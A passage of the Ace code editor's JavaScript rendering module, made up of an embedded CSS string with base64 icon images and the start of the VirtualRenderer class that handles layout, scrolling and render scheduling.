.ace_dragging.ace_dark .ace_scroller:before{\ background: rgba(0, 0, 0, 0.01);\ }\ .ace_selecting, .ace_selecting * {\ cursor: text !important;\ }\ .ace_gutter {\ position: absolute;\ overflow : hidden;\ width: auto;\ top: 0;\ bottom: 0;\ left: 0;\ cursor: default;\ z-index: 4;\ -ms-user-select: none;\ -moz-user-select: none;\ -webkit-user-select: none;\ user-select: none;\ }\ .ace_gutter-active-line {\ position: absolute;\ left: 0;\ right: 0;\ }\ .ace_scroller.ace_scroll-left {\ box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;\ }\ .ace_gutter-cell {\ padding-left: 19px;\ padding-right: 6px;\ background-repeat: no-repeat;\ }\ .ace_gutter-cell.ace_error {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==\");\ background-repeat: no-repeat;\ background-position: 2px center;\ }\ .ace_gutter-cell.ace_warning {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==\");\ background-position: 2px center;\ }\ .ace_gutter-cell.ace_info {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=\");\ background-position: 2px center;\ }\ .ace_dark .ace_gutter-cell.ace_info {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC\");\ }\ .ace_scrollbar {\ position: absolute;\ right: 0;\ bottom: 0;\ z-index: 6;\ }\ .ace_scrollbar-inner {\ position: absolute;\ cursor: text;\ left: 0;\ top: 0;\ }\ .ace_scrollbar-v{\ overflow-x: hidden;\ overflow-y: scroll;\ top: 0;\ }\ .ace_scrollbar-h {\ overflow-x: scroll;\ overflow-y: hidden;\ left: 0;\ }\ .ace_print-margin {\ position: absolute;\ height: 100%;\ }\ .ace_text-input {\ position: absolute;\ z-index: 0;\ width: 0.5em;\ height: 1em;\ opacity: 0;\ background: transparent;\ -moz-appearance: none;\ appearance: none;\ border: none;\ resize: none;\ outline: none;\ overflow: hidden;\ font: inherit;\ padding: 0 1px;\ margin: 0 -1px;\ text-indent: -1em;\ -ms-user-select: text;\ -moz-user-select: text;\ -webkit-user-select: text;\ user-select: text;\ white-space: pre!important;\ }\ .ace_text-input.ace_composition {\ background: inherit;\ color: inherit;\ z-index: 1000;\ opacity: 1;\ text-indent: 0;\ }\ .ace_layer {\ z-index: 1;\ position: absolute;\ overflow: hidden;\ word-wrap: normal;\ white-space: pre;\ height: 100%;\ width: 100%;\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ pointer-events: none;\ }\ .ace_gutter-layer {\ position: relative;\ width: auto;\ text-align: right;\ pointer-events: auto;\ }\ .ace_text-layer {\ font: inherit !important;\ }\ .ace_cjk {\ display: inline-block;\ text-align: center;\ }\ .ace_cursor-layer {\ z-index: 4;\ }\ .ace_cursor {\ z-index: 4;\ position: absolute;\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ border-left: 2px solid;\ transform: translatez(0);\ }\ .ace_slim-cursors .ace_cursor {\ border-left-width: 1px;\ }\ .ace_overwrite-cursors .ace_cursor {\ border-left-width: 0;\ border-bottom: 1px solid;\ }\ .ace_hidden-cursors .ace_cursor {\ opacity: 0.2;\ }\ .ace_smooth-blinking .ace_cursor {\ -webkit-transition: opacity 0.18s;\ transition: opacity 0.18s;\ }\ .ace_editor.ace_multiselect .ace_cursor {\ border-left-width: 1px;\ }\ .ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {\ position: absolute;\ z-index: 3;\ }\ .ace_marker-layer .ace_selection {\ position: absolute;\ z-index: 5;\ }\ .ace_marker-layer .ace_bracket {\ position: absolute;\ z-index: 6;\ }\ .ace_marker-layer .ace_active-line {\ position: absolute;\ z-index: 2;\ }\ .ace_marker-layer .ace_selected-word {\ position: absolute;\ z-index: 4;\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ }\ .ace_line .ace_fold {\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ display: inline-block;\ height: 11px;\ margin-top: -2px;\ vertical-align: middle;\ background-image:\ url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),\ url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=\");\ background-repeat: no-repeat, repeat-x;\ background-position: center center, top left;\ color: transparent;\ border: 1px solid black;\ border-radius: 2px;\ cursor: pointer;\ pointer-events: auto;\ }\ .ace_dark .ace_fold {\ }\ .ace_fold:hover{\ background-image:\ url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII=\"),\ url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC\");\ }\ .ace_tooltip {\ background-color: #FFF;\ background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));\ background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));\ border: 1px solid gray;\ border-radius: 1px;\ box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);\ color: black;\ max-width: 100%;\ padding: 3px 4px;\ position: fixed;\ z-index: 999999;\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ cursor: default;\ white-space: pre;\ word-wrap: break-word;\ line-height: normal;\ font-style: normal;\ font-weight: normal;\ letter-spacing: normal;\ pointer-events: none;\ }\ .ace_folding-enabled > .ace_gutter-cell {\ padding-right: 13px;\ }\ .ace_fold-widget {\ -moz-box-sizing: border-box;\ -webkit-box-sizing: border-box;\ box-sizing: border-box;\ margin: 0 -12px 0 1px;\ display: none;\ width: 11px;\ vertical-align: top;\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==\");\ background-repeat: no-repeat;\ background-position: center;\ border-radius: 3px;\ border: 1px solid transparent;\ cursor: pointer;\ }\ .ace_folding-enabled .ace_fold-widget {\ display: inline-block; \ }\ .ace_fold-widget.ace_end {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==\");\ }\ .ace_fold-widget.ace_closed {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==\");\ }\ .ace_fold-widget:hover {\ border: 1px solid rgba(0, 0, 0, 0.3);\ background-color: rgba(255, 255, 255, 0.2);\ box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);\ }\ .ace_fold-widget:active {\ border: 1px solid rgba(0, 0, 0, 0.4);\ background-color: rgba(0, 0, 0, 0.05);\ box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);\ }\ .ace_dark .ace_fold-widget {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC\");\ }\ .ace_dark .ace_fold-widget.ace_end {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==\");\ }\ .ace_dark .ace_fold-widget.ace_closed {\ background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==\");\ }\ .ace_dark .ace_fold-widget:hover {\ box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);\ background-color: rgba(255, 255, 255, 0.1);\ }\ .ace_dark .ace_fold-widget:active {\ box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);\ }\ .ace_fold-widget.ace_invalid {\ background-color: #FFB4B4;\ border-color: #DE5555;\ }\ .ace_fade-fold-widgets .ace_fold-widget {\ -webkit-transition: opacity 0.4s ease 0.05s;\ transition: opacity 0.4s ease 0.05s;\ opacity: 0;\ }\ .ace_fade-fold-widgets:hover .ace_fold-widget {\ -webkit-transition: opacity 0.05s ease 0.05s;\ transition: opacity 0.05s ease 0.05s;\ opacity:1;\ }\ .ace_underline {\ text-decoration: underline;\ }\ .ace_bold {\ font-weight: bold;\ }\ .ace_nobold .ace_bold {\ font-weight: normal;\ }\ .ace_italic {\ font-style: italic;\ }\ .ace_error-marker {\ background-color: rgba(255, 0, 0,0.2);\ position: absolute;\ z-index: 9;\ }\ .ace_highlight-marker {\ background-color: rgba(255, 255, 0,0.2);\ position: absolute;\ z-index: 8;\ }\ .ace_br1 {border-top-left-radius : 3px;}\ .ace_br2 {border-top-right-radius : 3px;}\ .ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}\ .ace_br4 {border-bottom-right-radius: 3px;}\ .ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}\ .ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}\ .ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}\ .ace_br8 {border-bottom-left-radius : 3px;}\ .ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}\ .ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}\ .ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}\ .ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\ .ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\ .ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\ .ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}\ "; dom.importCssString(editorCss, "ace_editor.css"); var VirtualRenderer = function(container, theme) { var _self = this; this.container = container || dom.createElement("div"); this.$keepTextAreaAtCursor = !useragent.isOldIE; dom.addCssClass(this.container, "ace_editor"); this.setTheme(theme); this.$gutter = dom.createElement("div"); this.$gutter.className = "ace_gutter"; this.container.appendChild(this.$gutter); this.scroller = dom.createElement("div"); this.scroller.className = "ace_scroller"; this.container.appendChild(this.scroller); this.content = dom.createElement("div"); this.content.className = "ace_content"; this.scroller.appendChild(this.content); this.$gutterLayer = new GutterLayer(this.$gutter); this.$gutterLayer.on("changeGutterWidth", this.onGutterResize.bind(this)); this.$markerBack = new MarkerLayer(this.content); var textLayer = this.$textLayer = new TextLayer(this.content); this.canvas = textLayer.element; this.$markerFront = new MarkerLayer(this.content); this.$cursorLayer = new CursorLayer(this.content); this.$horizScroll = false; this.$vScroll = false; this.scrollBar = this.scrollBarV = new VScrollBar(this.container, this); this.scrollBarH = new HScrollBar(this.container, this); this.scrollBarV.addEventListener("scroll", function(e) { if (!_self.$scrollAnimation) _self.session.setScrollTop(e.data - _self.scrollMargin.top); }); this.scrollBarH.addEventListener("scroll", function(e) { if (!_self.$scrollAnimation) _self.session.setScrollLeft(e.data - _self.scrollMargin.left); }); this.scrollTop = 0; this.scrollLeft = 0; this.cursorPos = { row : 0, column : 0 }; this.$fontMetrics = new FontMetrics(this.container); this.$textLayer.$setFontMetrics(this.$fontMetrics); this.$textLayer.addEventListener("changeCharacterSize", function(e) { _self.updateCharacterSize(); _self.onResize(true, _self.gutterWidth, _self.$size.width, _self.$size.height); _self._signal("changeCharacterSize", e); }); this.$size = { width: 0, height: 0, scrollerHeight: 0, scrollerWidth: 0, $dirty: true }; this.layerConfig = { width : 1, padding : 0, firstRow : 0, firstRowScreen: 0, lastRow : 0, lineHeight : 0, characterWidth : 0, minHeight : 1, maxHeight : 1, offset : 0, height : 1, gutterOffset: 1 }; this.scrollMargin = { left: 0, right: 0, top: 0, bottom: 0, v: 0, h: 0 }; this.$loop = new RenderLoop( this.$renderChanges.bind(this), this.container.ownerDocument.defaultView ); this.$loop.schedule(this.CHANGE_FULL); this.updateCharacterSize(); this.setPadding(4); config.resetOptions(this); config._emit("renderer", this); }; (function() { this.CHANGE_CURSOR = 1; this.CHANGE_MARKER = 2; this.CHANGE_GUTTER = 4; this.CHANGE_SCROLL = 8; this.CHANGE_LINES = 16; this.CHANGE_TEXT = 32; this.CHANGE_SIZE = 64; this.CHANGE_MARKER_BACK = 128; this.CHANGE_MARKER_FRONT = 256; this.CHANGE_FULL = 512; this.CHANGE_H_SCROLL = 1024; oop.implement(this, EventEmitter); this.updateCharacterSize = function() { if (this.$textLayer.allowBoldFonts != this.$allowBoldFonts) { this.$allowBoldFonts = this.$textLayer.allowBoldFonts; this.setStyle("ace_nobold", !this.$allowBoldFonts); } this.layerConfig.characterWidth = this.characterWidth = this.$textLayer.getCharacterWidth(); this.layerConfig.lineHeight = this.lineHeight = this.$textLayer.getLineHeight(); this.$updatePrintMargin(); }; this.setSession = function(session) { if (this.session) this.session.doc.off("changeNewLineMode", this.onChangeNewLineMode); this.session = session; if (session && this.scrollMargin.top && session.getScrollTop() <= 0) session.setScrollTop(-this.scrollMargin.top); this.$cursorLayer.setSession(session); this.$markerBack.setSession(session); this.$markerFront.setSession(session); this.$gutterLayer.setSession(session); this.$textLayer.setSession(session); if (!session) return; this.$loop.schedule(this.CHANGE_FULL); this.session.$setFontMetrics(this.$fontMetrics); this.onChangeNewLineMode = this.onChangeNewLineMode.bind(this); this.onChangeNewLineMode() this.session.doc.on("changeNewLineMode", this.onChangeNewLineMode); }; this.updateLines = function(firstRow, lastRow, force) { if (lastRow === undefined) lastRow = Infinity; if (!this.$changedLines) { this.$changedLines = { firstRow: firstRow, lastRow: lastRow }; } else { if (this.$changedLines.firstRow > firstRow) this.$changedLines.firstRow = firstRow; if (this.$changedLines.lastRow < lastRow) this.$changedLines.lastRow = lastRow; } if (this.$changedLines.lastRow < this.layerConfig.firstRow) { if (force) this.$changedLines.lastRow = this.layerConfig.lastRow; else return; } if (this.$changedLines.firstRow > this.layerConfig.lastRow) return; this.$loop.schedule(this.CHANGE_LINES); }; this.onChangeNewLineMode = function() { this.$loop.schedule(this.CHANGE_TEXT); this.$textLayer.$updateEolChar(); }; this.onChangeTabSize = function() { this.$loop.schedule(this.CHANGE_TEXT | this.CHANGE_MARKER); this.$textLayer.onChangeTabSize(); }; this.updateText = function() { this.$loop.schedule(this.CHANGE_TEXT); }; this.updateFull = function(force) { if (force) this.$renderChanges(this.CHANGE_FULL, true); else this.$loop.schedule(this.CHANGE_FULL); }; this.updateFontSize = function() { this.$textLayer.checkForSizeChanges(); }; this.$changes = 0; this.$updateSizeAsync = function() { if (this.$loop.pending) this.$size.$dirty = true; else this.onResize(); }; this.onResize = function(force, gutterWidth, width, height) { if (this.resizing > 2) return; else if (this.resizing > 0) this.resizing++; else this.resizing = force ? 1 : 0; var el = this.container; if (!height) height = el.clientHeight || el.scrollHeight; if (!width) width = el.clientWidth || el.scrollWidth; var changes = this.$updateCachedSize(force, gutterWidth, width, height); if (!this.$size.scrollerHeight || (!width && !height)) return this.resizing = 0; if (force) this.$gutterLayer.$padding = null; if (force) this.$renderChanges(changes | this.$changes, true); else this.$loop.schedule(changes | this.$changes); if (this.resizing) this.resizing = 0; this.scrollBarV.scrollLeft = this.scrollBarV.scrollTop = null; }; this.$updateCachedSize = function(force, gutterWidth, width, height) { height -= (this.$extraHeight || 0); var changes = 0; var size = this.$size; var oldSize = { width: size.width, height: size.height, scrollerHeight: size.scrollerHeight, scrollerWidth: size.scrollerWidth }; if (height && (force || size.height != height)) { size.height = height; changes |= this.CHANGE_SIZE; size.scrollerHeight = size.height; if (this.$horizScroll) size.scrollerHeight -= this.scrollBarH.getHeight(); this.scrollBarV.element.style.bottom = this.scrollBarH.getHeight() + "px"; changes = changes | this.CHANGE_SCROLL; } if (width && (force || size.width != width)) { changes |= this.CHANGE_SIZE; size.width = width; if (gutterWidth == null) gutterWidth = this.$showGutter ? this.$gutter.offsetWidth : 0; this.gutterWidth = gutterWidth; this.scrollBarH.element.style.left = this.scroller.style.left = gutterWidth + "px"; size.scrollerWidth = Math.max(0, width - gutterWidth - this.scrollBarV.getWidth()); this.scrollBarH.element.style.right = this.scroller.style.right = this.scrollBarV.getWidth() + "px"; this.scroller.style.bottom = this.scrollBarH.getHeight() + "px"; if (this.session && this.session.getUseWrapMode() && this.adjustWrapLimit() || force) changes |= this.CHANGE_FULL; } size.$dirty = !width || !height; if (changes) this._signal("resize", oldSize); return changes; }; this.onGutterResize = function() { var gutterWidth = this.$showGutter ? this.$gutter.offsetWidth : 0; if (gutterWidth != this.gutterWidth) this.$changes |= this.$updateCachedSize(true, gutterWidth, this.$size.width, this.$size.height); if (this.session.getUseWrapMode() && this.adjustWrapLimit()) { this.$loop.schedule(this.CHANGE_FULL); } else if (this.$size.$dirty) { this.$loop.schedule(this.CHANGE_FULL); } else { this.$computeLayerConfig(); this.$loop.schedule(this.CHANGE_MARKER); } }; this.adjustWrapLimit = function() { var availableWidth = this.$size.scrollerWidth - this.$padding * 2; var limit = Math.floor(availableWidth / this.characterWidth); return this.session.adjustWrapLimit(limit, this.$showPrintMargin && this.$printMarginColumn); }; this.setAnimatedScroll = function(shouldAnimate){ this.setOption("animatedScroll", shouldAnimate); }; this.getAnimatedScroll = function() { return this.$animatedScroll; }; this.setShowInvisibles = function(showInvisibles) { this.setOption("showInvisibles", showInvisibles); }; this.getShowInvisibles = function() { return this.getOption("showInvisibles"); }; this.getDisplayIndentGuides = function() { return this.getOption("displayIndentGuides"); }; this.setDisplayIndentGuides = function(display) { this.setOption("displayIndentGuides", display); }; this.setShowPrintMargin = function(showPrintMargin) { this.setOption("showPrintMargin", showPrintMargin); }; this.getShowPrintMargin = function() { return this.getOption("showPrintMargin"); }; this.setPrintMarginColumn = function(showPrintMargin) { this.setOption("printMarginColumn", showPrintMargin); }; this.getPrintMarginColumn = function() { return this.getOption("printMarginColumn"); }; this.getShowGutter = function(){ return this.getOption("showGutter"); }; this.setShowGutter = function(show){ return this.setOption("showGutter", show); }; this.getFadeFoldWidgets = function(){ return this.getOption("fadeFoldWidgets") }; this.setFadeFoldWidgets = function(show) { this.setOption("fadeFoldWidgets", show); }; this.setHighlightGutterLine = function(shouldHighlight) { this.setOption("highlightGutterLine", shouldHighlight); }; this.getHighlightGutterLine = function() { return this.getOption("highlightGutterLine"); }; this.$updateGutterLineHighlight = function() { var pos = this.$cursorLayer.$pixelPos; var height = this.layerConfig.lineHeight; if (this.session.getUseWrapMode()) { var cursor = this.session.selection.getCursor(); cursor.column = 0; pos = this.$cursorLayer.getPixelPosition(cursor, true); height *= this.session.getRowLength(cursor.row); } this.$gutterLineHighlight.style.top = pos.top - this.layerConfig.offset + "px"; this.$gutterLineHighlight.style.height = height + "px"; }; this.$updatePrintMargin = function() { if (!this.$showPrintMargin && !this.$printMarginEl) return; if (!this.$printMarginEl) { var containerEl = dom.createElement("div"); containerEl.className = "ace_layer ace_print-margin-layer"; this.$printMarginEl = dom.createElement("div"); this.$printMarginEl.className = "ace_print-margin"; containerEl.appendChild(this.$printMarginEl); this.content.insertBefore(containerEl, this.content.firstChild); } var style = this.$printMarginEl.style; style.left = ((this.characterWidth * this.$printMarginColumn) + this.$padding) + "px"; style.visibility = this.$showPrintMargin ? "visible" : "hidden"; if (this.session && this.session.$wrap == -1) this.adjustWrapLimit(); }; this.getContainerElement = function() { return this.container; }; this.getMouseEventTarget = function() { return this.scroller; }; this.getTextAreaContainer = function() { return this.container; }; this.$moveTextAreaToCursor = function() { if (!this.$keepTextAreaAtCursor) return; var config = this.layerConfig; var posTop = this.$cursorLayer.$pixelPos.top; var posLeft = this.$cursorLayer.$pixelPos.left; posTop -= config.offset; var style = this.textarea.style; var h = this.lineHeight; if (posTop < 0 || posTop > config.height - h) { style.top = style.left = "0"; return; } var w = this.characterWidth; if (this.$composition) { var val = this.textarea.value.replace(/^\x01+/, ""); w *= (this.session.$getStringScreenWidth(val)[0]+2); h += 2; } posLeft -= this.scrollLeft; if (posLeft > this.$size.scrollerWidth - w) posLeft = this.$size.scrollerWidth - w; posLeft += this.gutterWidth; style.height = h + "px"; style.width = w + "px"; style.left = Math.min(posLeft, this.$size.scrollerWidth - w) + "px"; style.top = Math.min(posTop, this.$size.height - h) + "px"; }; this.getFirstVisibleRow = function() { return this.layerConfig.firstRow; }; this.getFirstFullyVisibleRow = function() { return this.layerConfig.firstRow + (this.layerConfig.offset === 0 ? 0 : 1); }; this.getLastFullyVisibleRow = function() { var config = this.layerConfig; var lastRow = config.lastRow var top = this.session.documentToScreenRow(lastRow, 0) * config.lineHeight; if (top - this.session.getScrollTop() > config.height - config.lineHeight) return lastRow - 1; return lastRow; }; this.getLastVisibleRow = function() { return this.layerConfig.lastRow; }; this.$padding = null; this.setPadding = function(padding) { this.$padding = padding; this.$textLayer.setPadding(padding); this.$cursorLayer.setPadding(padding); this.$markerFront.setPadding(padding); this.$markerBack.setPadding(padding); this.$loop.schedule(this.CHANGE_FULL); this.$updatePrintMargin(); }; this.setScrollMargin = function(top, bottom, left, right) { var sm = this.scrollMargin; sm.top = top|0; sm.bottom = bottom|0; sm.right = right|0; sm.left = left|0; sm.v = sm.top + sm.bottom; sm.h = sm.left + sm.right; if (sm.top && this.scrollTop <= 0 && this.session) this.session.setScrollTop(-sm.top); this.updateFull(); }; this.getHScrollBarAlwaysVisible = function() { return this.$hScrollBarAlwaysVisible; }; this.setHScrollBarAlwaysVisible = function(alwaysVisible) { this.setOption("hScrollBarAlwaysVisible", alwaysVisible); }; this.getVScrollBarAlwaysVisible = function() { return this.$vScrollBarAlwaysVisible; }; this.setVScrollBarAlwaysVisible = function(alwaysVisible) { this.setOption("vScrollBarAlwaysVisible", alwaysVisible); }; this.$updateScrollBarV = function() { var scrollHeight = this.layerConfig.maxHeight; var scrollerHeight = this.$size.scrollerHeight; if (!this.$maxLines && this.$scrollPastEnd) { scrollHeight -= (scrollerHeight - this.lineHeight) * this.$scrollPastEnd; if (this.scrollTop > scrollHeight - scrollerHeight) { scrollHeight = this.scrollTop + scrollerHeight; this.scrollBarV.scrollTop = null; } } this.scrollBarV.setScrollHeight(scrollHeight + this.scrollMargin.v); this.scrollBarV.setScrollTop(this.scrollTop + this.scrollMargin.top); }; this.$updateScrollBarH = function() { this.scrollBarH.setScrollWidth(this.layerConfig.width + 2 * this.$padding + this.scrollMargin.h); this.scrollBarH.setScrollLeft(this.scrollLeft + this.scrollMargin.left); }; this.$frozen = false; this.freeze = function() { this.$frozen = true; }; this.unfreeze = function() { this.$frozen = false; }; this.$renderChanges = function(changes, force) { if (this.$changes) { changes |= this.$changes; this.$changes = 0; } if ((!this.session || !this.container.offsetWidth || this.$frozen) || (!changes && !force)) { this.$changes |= changes; return; } if (this.$size.$dirty) { this.$changes |= changes; return this.onResize(true); } if (!this.lineHeight) { this.$textLayer.checkForSizeChanges(); } this._signal("beforeRender"); var config = this.layerConfig; if (changes & this.CHANGE_FULL || changes & this.CHANGE_SIZE || changes & this.CHANGE_TEXT || changes & this.CHANGE_LINES || changes & this.CHANGE_SCROLL || changes & this.CHANGE_H_SCROLL ) { changes |= this.$computeLayerConfig(); if (config.firstRow != this.layerConfig.firstRow && config.firstRowScreen == this.layerConfig.firstRowScreen) { var st = this.scrollTop + (config.firstRow - this.layerConfig.firstRow) * this.lineHeight; if (st > 0) { this.scrollTop = st; changes = changes | this.CHANGE_SCROLL; changes |= this.$computeLayerConfig(); } } config = this.layerConfig; this.$updateScrollBarV(); if (changes & this.CHANGE_H_SCROLL) this.$updateScrollBarH(); this.$gutterLayer.element.style.marginTop = (-config.offset) + "px"; this.content.style.marginTop = (-config.offset) + "px"; this.content.style.width = config.width + 2 * this.$padding + "px"; this.content.style.height = config.minHeight + "px"; } if (changes & this.CHANGE_H_SCROLL) { this.content.style.marginLeft = -this.scrollLeft + "px"; this.scroller.className = this.scrollLeft <= 0 ? "ace_scroller" : "ace_scroller ace_scroll-left"; } if (changes & this.CHANGE_FULL) { 